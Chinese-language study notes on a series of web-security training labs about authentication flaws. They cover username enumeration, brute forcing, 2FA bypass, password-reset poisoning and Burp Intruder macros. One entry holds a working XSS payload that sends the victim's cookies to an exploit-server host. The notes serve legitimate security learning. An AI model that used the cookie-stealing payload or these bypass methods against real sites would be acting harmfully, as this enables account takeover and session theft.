lab1: Username enumeration via different responses
给了可能的用户名密码
直接爆
lab2: 2FA broken logic
access Carlos’s account page
登录步骤如下
/login1 验证用户名密码
/login2 发验证码 验证验证码
其中访问login2的时候会带上cookie
猜测当vertify的值为carlos的时候 会向carlos的邮箱发验证码
然后post /login2 传mfa-code
由于没有限制 考虑爆破
lab3: Password reset broken logic
重置密码的最后一个阶段 我们传的参数中带了username 尝试改为carlos
lab4: Username enumeration via subtly different responses
看了一下solution
是先跑的合法用户名 再爆的密码
过程如下
当账户不合法的时候返回的是
Invalid username or password.
合法的时候返回 Invalid username or password
相差一个.
然后得到账户再爆密码就快多了
lab5: Username enumeration via response timing
加XFF
这个环境下username正确 密码越长响应时间越久
lab6: Broken brute-force protection, IP block
比较扯淡
登录失败三次ban ip
在ban ip之前登录正确可以重置计数器
开俩爆破 一个跑正确密码
另一个爆密码 加个延迟
lab7: Username enumeration via account lock
先多多爆几次 把合法的用户爆出来
然后爆密码
这个没回显的就是正确的密码 等待一分钟后提交
lab8: 2FA simple bypass
莫名其妙完成的
回头去看solution
说是在carlos接收到验证码的时候
直接访问/my-account
我的理解是这里的登录分3步 login login2 然后重定向到my-account
在login2处直接访问my-account就跳过了login2的验证
lab9: Brute-forcing a stay-logged-in cookie
cookie的构成是用户名:密码md5
lab10: Offline password cracking
<script>document.location='https://exploit-0a82002e033db374830b2db4013f00bd.exploit-server.net/exploit'+document.cookie</script>
lab11: Password reset poisoning via middleware
看solution得知支持X-Forwarded-Host 可以使用它来将动态生成的重置链接指向任意域
lab12: Password brute-force via password change
当新密码不一致且密码正确的时候会报new pass do not match
密码错误的时候会报 Current password is incorrect
user换carlos爆
在爆破的时候要确保当前的cookie是可用的 不然会302到登录界面
lab13: Broken brute-force protection, multiple credentials per request
用了json来传输密码
考虑把密码改成数组
lab14: 2FA bypass using a brute-force attack
学习burp宏的使用
add 一个 session rule
urlscope选择all
新建规则
新建宏
手动去完成一次登录操作 login -> login2
然后在宏里选择对应的数据包
test macro测试下POST login2是否返回200
200就说明操作对了
一路ok下去 回头设置intruder
确保一个线程
手动跳转一下